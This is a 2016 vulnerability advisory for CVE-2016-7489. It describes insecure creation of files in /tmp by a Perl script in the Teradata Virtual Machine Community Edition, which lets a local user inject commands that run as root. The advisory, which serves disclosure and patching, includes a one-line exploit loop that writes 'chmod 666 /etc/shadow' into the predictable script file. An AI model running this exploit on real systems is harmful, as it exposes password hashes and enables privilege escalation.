Teradata Virtual Machine Community Edition 15.0 Insecure File Creation
Posted on 19 November 2016
Title: Teradata Virtual Machine Community Edition v15.10 Insecure creation of files in /tmp Author: Larry W. Cashdollar, @_larry0 Date: 2016-10-01 Download Site: http://downloads.teradata.com/download/database/teradata-virtual-machine-community-edition-for-vmware Vendor: Teradata Vendor Notified: 2016-10-01 Vendor Contact: web form contact Description: Teradata is a relational database, they provide a Virtual Machine image for developers and community use. Vulnerability: Teradata Virtual Machine Community Edition v15.10 Insecure creation of files in /tmp may lead to elevated code execution. In /opt/teradata/gsctools/bin/t2a.pl 320 `chmod +x /tmp/$PROG.get_profile.scr ; /tmp/$PROG.get_profile.scr >/dev/null 2>&1` ; If a regular user controls /tmp/t2a.pl.get_profile.scr before the person executing this script creates it they can inject commands to be executed as that user. for example: $ while(true) do echo "chmod 666 /etc/shadow" > /tmp/t2a.pl.get_profile.scr; done If root or any other account runs that .pl script I see these files being created in /tmp [C] -rw-r----- 1 root root 14 Mon Oct 3 13:03:59 2016 /tmp/t2a.vprocmanager.cmd [U] -rw-r----- 1 root root 14 Mon Oct 3 13:03:59 2016 /tmp/t2a.vprocmanager.cmd [C] -rw-r----- 1 root root 0 Mon Oct 3 13:03:59 2016 /tmp/t2a.vprocmanager [C] -rw-r----- 1 root root 0 Mon Oct 3 13:03:59 2016 /tmp/t2a.vprocmanager.stderr [U] -rw-r----- 1 root root 44 Mon Oct 3 13:03:59 2016 /tmp/t2a.vprocmanager.stderr [U] -rw-r----- 1 root root 152 Mon Oct 3 13:03:59 2016 /tmp/t2a.vprocmanager.stderr [C] -rw-r----- 1 root root 5 Mon Oct 3 13:03:59 2016 /tmp/t2a.get_profile.scr [U] -rw-r----- 1 root root 5 Mon Oct 3 13:03:59 2016 /tmp/t2a.get_profile.scr [M] -rwxr-x--- 1 root root 5 Mon Oct 3 13:03:59 2016 /tmp/t2a.get_profile.scr CVE-ID: CVE-2016-7489 Exploit Code: aC/ $ while(true) do echo "chmod 666 /etc/shadow" > /tmp/t2a.pl.get_profile.scr; done Advisory: www.vapidlabs.com/advisory.php?v=173
